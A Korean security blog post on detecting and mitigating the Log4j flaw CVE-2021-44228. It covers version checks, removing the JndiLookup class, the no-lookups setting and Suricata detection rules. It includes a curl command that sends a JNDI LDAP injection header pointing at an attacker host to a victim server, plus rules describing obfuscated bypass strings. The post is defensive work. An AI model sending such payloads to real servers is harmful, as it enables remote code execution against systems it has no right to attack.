Always-Try(정보보안 및 일상)

Log4j 보안 취약점 (CVE-2021-44228) 동작 원리 테스트 및 조치 방안 3/3 - 취약점 점검 및 대응 방안 본문

Pen Test

Log4j 보안 취약점 (CVE-2021-44228) 동작 원리 테스트 및 조치 방안 3/3 - 취약점 점검 및 대응 방안

Always-Try 2021. 12. 13. 22:07

[20211216 머릿글 추가] 해당 가이드에 포함된 대응 방안 중 하나인 log4j 2.1.15 버전에 신규 취약점이 발견되었다. 해당 내용을 포함한 대응 방안은 아래 포스팅을 참고바란다.

2021.12.16 - [Pen Test] - log4j 버전 별 취약점 및 신규 취약점 대응 방안 총 정리 (CVE-2019-17571, CVE-2021-44228, CVE-2021-45046, CVE-2021-4104)

 

 

2021.12.13 - [Pen Test] - Log4j 보안 취약점 (CVE-2021-44228) 쉽게 파해치기 1/3 - 취약점 개요
2021.12.13 - [Pen Test] - Log4j 보안 취약점 (CVE-2021-44228) 쉽게 파해치기 2/3 - 취약 환경 구성 및 테스트
2021.12.13 - [Pen Test] - Log4j 보안 취약점 (CVE-2021-44228) 쉽게 파해치기 3/3 - 취약점 점검 및 대응 방안

마지막편인 3편에서는 Log4j 취약점 점검 방법과 대처 방안에 대해서 설명한다.

1. KISA 공식 가이드

먼저 KISA 가이드에는 어떻게 되어 있는지부터 확인해보자.

□ 영향을 받는 버전
o Apache Log4j 2
- 2.0-beta9 ~ 2.14.1 모든버전
o Apache Log4j 2를 사용하는 제품
※ 참고 사이트 [4]를 확인하여 해당 제품을 이용 중일 경우, 해당 제조사의 권고에 따라 패치 또는 대응 방안 적용

□ 해결방안[1]
o 제조사 홈페이지를 통해 최신버전(2.15.0)으로 업데이트 적용[3]
※ log4j 1.x버전 사용자의 경우 추가적인 업그레이드 지원 중지로 인해 다른 보안위협에 노출될 가능성이 높아 최신버전 업데이트 적용 권고

o 최신버전으로 업데이트가 어려운 경우 사용중인 버전확인 후 버전별 조치 적용
- (버전확인방법)
1. log4j가 설치된 경로의 "pom.xml"파일을 열어 "log4j-core"로 검색
2. 검색결과 "사용버전(version)" 확인가능
- (조치방법) 2.0-beta9 ~ 2.10.0
※ JndiLookup 클래스를 경로에서 제거 : zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
- (조치방법) 2.10 ~ 2.14.1
※ log4j2.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경변수를 true로 설정

□ 탐지정책
o Log4j 취약점 관련 탐지정책(시그니처)
- 참고사이트 [5]를 참고하여 Log4j로 검색하여 탐지정책 확인
※ 본 탐지정책은 내부 시스템 환경에 따라 다르게 동작할 수 있으며, 시스템 운영에 영향을 줄 수 있으므로 충분한 검
토 후 적용 바랍니다.
※ 공개된 탐지정책은 우회가능성이 있으므로 지속적인 업데이트가 필요합니다.

해결 방안에 대해 최신 버전 업데이트는 딱히 설명안해도 알테니, 최신 업데이트를 제외한 나머지 방안에 대해 하나씩 알아보자.

2. 취약점 확인 방법

먼저 취약한 Log4j 버전 확인 방법이다.

1. log4j가 설치된 경로의 "pom.xml"파일을 열어 "log4j-core"로 검색
2. 검색결과 "사용버전(version)" 확인가능

필자의 경우 pom.xml 파일을 굳이 확인하지 않더라도 find 명령어를 통해 log4j-core-버전명.jar 으로 된 파일들을 볼 수 있었다. 그리고 현재 실행되고 있는 java 프로세스 검색은 lsof | grep log4j 로 하면 확인이 가능하다.

find / -name "*log4j*" lsof | grep log4j


참고로 취약한 버전의 파일이 존재한다고 해서 모두 다 취약점이 발생하는 것은 아니다. 취약한 파일이 존재하더라도 네트워크 환경 및 log4j 사용 방식에 따라 다를 수 있다.

먼저 네트워크 환경을 포함한 영향도에 알아보자. 해당 공격에 대해 자세한 네트워크 환경 소개가 있는 사이트에서 구성도를 가져와본다.

https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/

위 그림을 참고해서 공격이 성공하지 않을 수 있는 상황을 하나씩 풀어보자면 아래와 같다. 아래 예시 중 1개라도 막힌다면 공격이 수행되지 않는다.

  1. WAF(Web Application Firewall)에서 공격자의 패턴을 막는 경우
  2. log4j를 사용하는 시스템이 없는 경우
  3. 2.15.0 이상의 log4j를 사용하는 경우
  4. log4j의 JNDI LookUp이 비활성화 되어 있는 경우
  5. log4j를 사용하지만 공격자가 알 수 없는 형태의 파라미터로 로그를 남기는 경우
  6. log4j를 사용하는 시스템에서 LDAP 등 JNDI 엔드포인트와 통신이 불가능한 경우
    • 사내에 LDAP 서버가 공격자가 사내 LDAP 서버의 주소를 모르는 경우
    • log4j 사용 시스템에서 (공격자가 구축한) 외부 LDAP 서버까지 통신이 불가능한 경우 (공격 패턴에 IP가 들어가 있다면 IP나 포트  포트 차단, 도메인이 들어가 있다면 DNS만 차단해도 가능)

참고로 모든 공격이 다 외부에 공개된 웹서버를 통해서 시작되는 것은 아니다. 공격은 내부에서도 시작될 수 있다는 것을 명심하자.

그리고 위 예시 중 5번에 대해 조금 더 풀어보자면 취약한 버전의 log4j를 사용하는 경우지만 공격자가 예측할 수 없는 문자열로 로그를 남기는 경우이다. 공격자가 보통 일반적으로 로그를 남길 것이라고 생각되는 User-Agent나 X-API-Version와 같은 헤더 필드를 이용하는데 시스템에서 이러한 헤더 필드를 로그로 남기고 있지 않다면 log4j 동작이 성립되지 않기 때문에 취약점으로 인한 추가 피해가 발현되지 않을 수 있다.

 

주의! 아래 외부 사이트 사용에 대한 책임은 필자가 지지 않으니, 기업이나 중요한 서버들은 사용 시 충분한 검토를 하고 사용하길 바람

그리고 특정 시스템의 환경 및 애플리케이션 구성에서 실제 취약점이 발현되는지 테스트 할 있는 방법에 대해 소개한다. 당연히 가장 안전한건 사내에 동일한 환경을 구성하고 테스트 해보는 것인데, 여간 번거로운게 아니다. 따라서 이미 공개되어 있는 방법 중 그나마 편한 방법에 대해서 소개한다. 바로 huntress라는 업체에서 제공하는 https://log4shell.huntress.com/ 를 활용하는 것이다. 아마도 해당 업체에서 테스트를 위해 ldap 서버를 구축하고 제공해주는 것으로 보인다.

 

Huntress - Log4Shell Tester

Huntress Log4Shell Vulnerability Tester Our team is continuing to investigate CVE-2021-44228, a critical vulnerability that’s affecting a Java logging package log4j which is used in a significant amount of software. The source code for this tool is avail

log4shell.huntress.com

사용법은 간단하다. 홈페이지에 접속하면 아래와 같이 고유 값이 존재하는 패턴이 생성되는데 해당 패턴을 확인하고 싶은 시스템에 전달하면 된다. 아래 패턴은 30분간만 유효하며, 30분 뒤에는 초기화 되는 값이라고 소개되어져 있다.

${jndi:ldap://log4shell.huntress.com:1389/971aae7e-b55b-49ab-a867-082a700ba595}
curl victim-ip:port -H 'X-Api-Version(로그 남기는 헤더 필드): ${jndi:ldap://attacker-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

 

3. 버전 별 조치 방안 (2.15 업데이트 제외)

log4j 버전이 2.0 ~ 2.10.0 사이의 버전이라면 jar 파일을 unzip 해서 JndiLookup 클래스를 제거하고 다시 jar 파일을 묶어주면 된다. jar 파일을 풀면 org/apache/logging/log4j/core/lookup/JndiLookup.class 라는 파일이 있는데 이걸 삭제하고 묶으면 된다. 한번에 하는 명령어는 아래와 같다.
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

2.10 ~ 2.14.1 사이의 버전을 사용하고 있다면 log4j2.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경변수를 true로 설정 하라고 한다. 의미는 알겠다. 근데 어떻게 하라는 말일까??먼저 첫번째는 자바 실행 시 인자 값으로-Dlog4j2.formatMsgNoLookups=true 라는 값을 주고 실행하라는 의미이다. 다음은 Java 실행 계정 환경 변수나 시스템 변수로LOG4J_FORMAT_MSG_NO_LOOKUPS=true를 설정하라는 의미이다.

그리고 가이드 상 Log4j 취약점 관련 탐지정책(시그니처)으로 나와 있는 룰은 아래와 같으며, 이외에도 새로운 패턴이 있을 수 있기 때문에 서버에 취약한 버전의 패치가 남아있다면 전부 패치가 되기 전까지는 꾸준한 모니터링이 필요하다.

alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|ldap|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034647; rev:1; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (http rmi) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|rmi|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034648; rev:1; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (tcp ldap) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|ldap|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034649; rev:1; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (tcp rmi) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|rmi|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034650; rev:1; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (udp rmi) (CVE-2021-44228)"; content:"|24 7b|jndi|3a|rmi|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034652; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (udp ldap) (CVE-2021-44228)"; content:"|24 7b|jndi|3a|ldap|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034651; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (udp dns) (CVE-2021-44228)"; content:"|24 7b|jndi|3a|dns|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034653; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (tcp dns) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|dns|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034654; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (http dns) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|dns|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034655; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (udp ldaps) (CVE-2021-44228)"; content:"|24 7b|jndi|3a|ldaps|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034656; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (tcp ldaps) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|ldaps|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034657; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (http ldaps) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|ldaps|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034658; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt - lower/upper TCP Bypass (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|"; nocase; fast_pattern; pcre:"/^(l|r|d|\x24\x7b(lower|upper)\x3a(l|r|d)\x7d)(d|n|m|\x24\x7b(lower|upper)\x3a(d|n|m)\x7d)(a|i|s|\x24\x7b(lower|upper)\x3a(a|i|s)\x7d)(p|\x24\x7b(lower|upper)\x3a(p)\x7d)/Ri"; content:"|3a 2f 2f|"; distance:0; reference:cve,2021-44228; classtype:attempted-admin; sid:2034659; rev:1; metadata:attack_target Server, created_at 2021_12_11, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_11;)

alert udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt - lower/upper UDP Bypass (CVE-2021-44228)"; content:"|24 7b|jndi|3a|"; nocase; fast_pattern; pcre:"/^(l|r|d|\x24\x7b(lower|upper)\x3a(l|r|d)\x7d)(d|n|m|\x24\x7b(lower|upper)\x3a(d|n|m)\x7d)(a|i|s|\x24\x7b(lower|upper)\x3a(a|i|s)\x7d)(p|\x24\x7b(lower|upper)\x3a(p)\x7d)/Ri"; content:"|3a 2f 2f|"; distance:0; reference:cve,2021-44228; classtype:attempted-admin; sid:2034660; rev:2; metadata:attack_target Server, created_at 2021_12_11, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_11;)

alert udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (udp iiop) (CVE-2021-44228)"; content:"|24 7b|jndi|3a|iiop|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034667; rev:2; metadata:attack_target Server, created_at 2021_12_11, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_11;)

alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (tcp iiop) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|iiop|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034668; rev:2; metadata:attack_target Server, created_at 2021_12_11, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_11;)

alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt - 2021/12/12 Obfuscation Observed M1 (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|"; fast_pattern; pcre:"/^(j|\x24\x7b(lower|upper)\x3aj\x7d|\x24\x7b\x3a\x3a\-j\x7d)(n|\x24\x7b(lower|upper)\x3an\x7d|\x24\x7b\x3a\x3a\-n\x7d)/Ri"; content:"|3a|"; distance:0; pcre:"/^(l|r|d|\x24\x7b(lower|upper)\x3a(l|r|d)\x7d|\x24\x7b\x3a\x3a\-(l|r|d)\x7d)(d|n|m|\x24\x7b(lower|upper)\x3a(d|n|m)\x7d|\x24\x7b\x3a\x3a\-(d|n|m)\x7d)(a|i|s|\x24\x7b(lower|upper)\x3a(a|i|s)\x7d|\x24\x7b\x3a\x3a\-(a|i|s)\x7d)(p|\x24\x7b(lower|upper)\x3a(p)\x7d)/Ri"; content:"|3a 2f 2f|"; distance:0; reference:cve,2021-44228; classtype:attempted-admin; sid:2034671; rev:1; metadata:attack_target Server, created_at 2021_12_12, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_12;)

alert udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt - 2021/12/12 Obfuscation Observed M1 (CVE-2021-44228)"; content:"|24 7b|"; fast_pattern; pcre:"/^(j|\x24\x7b(lower|upper)\x3aj\x7d|\x24\x7b\x3a\x3a\-j\x7d)(n|\x24\x7b(lower|upper)\x3an\x7d|\x24\x7b\x3a\x3a\-n\x7d)/Ri"; content:"|3a|"; distance:0; pcre:"/^(l|r|d|\x24\x7b(lower|upper)\x3a(l|r|d)\x7d|\x24\x7b\x3a\x3a\-(l|r|d)\x7d)(d|n|m|\x24\x7b(lower|upper)\x3a(d|n|m)\x7d|\x24\x7b\x3a\x3a\-(d|n|m)\x7d)(a|i|s|\x24\x7b(lower|upper)\x3a(a|i|s)\x7d|\x24\x7b\x3a\x3a\-(a|i|s)\x7d)(p|\x24\x7b(lower|upper)\x3a(p)\x7d)/Ri"; content:"|3a 2f 2f|"; distance:0; reference:cve,2021-44228; classtype:attempted-admin; sid:2034672; rev:1; metadata:attack_target Server, created_at 2021_12_12, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_12;)

alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Possible Apache log4j RCE Attempt - 2021/12/12 Obfuscation Observed M2 (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|"; content:"|24 7b 3a 3a|"; distance:0; within:300; fast_pattern; reference:cve,2021-44228; classtype:attempted-admin; sid:2034673; rev:1; metadata:attack_target Server, created_at 2021_12_12, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_12;)

alert udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Possible Apache log4j RCE Attempt - 2021/12/12 Obfuscation Observed M2 (CVE-2021-44228)"; content:"|24 7b|"; content:"|24 7b 3a 3a|"; distance:0; within:300; fast_pattern; reference:cve,2021-44228; classtype:attempted-admin; sid:2034674; rev:1; metadata:attack_target Server, created_at 2021_12_12, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_12;)



이렇게 log4j에 대한 설명을 3개의 포스팅을 거쳐서 마무리했다. 누군가에게는 별거 아닌 내용일 수 있지만 가능하면 최대한 쉽고 실제 활용 가능한 방안을 다루려고 노력했다. 이 글을 읽는 누군가는 필자처럼 수십, 수백개의 웹사이트를 돌아다니는 고생을 덜했으면 하는 마음을 가지고 이 포스팅을 마무리해본다.

그럼 20000

Comments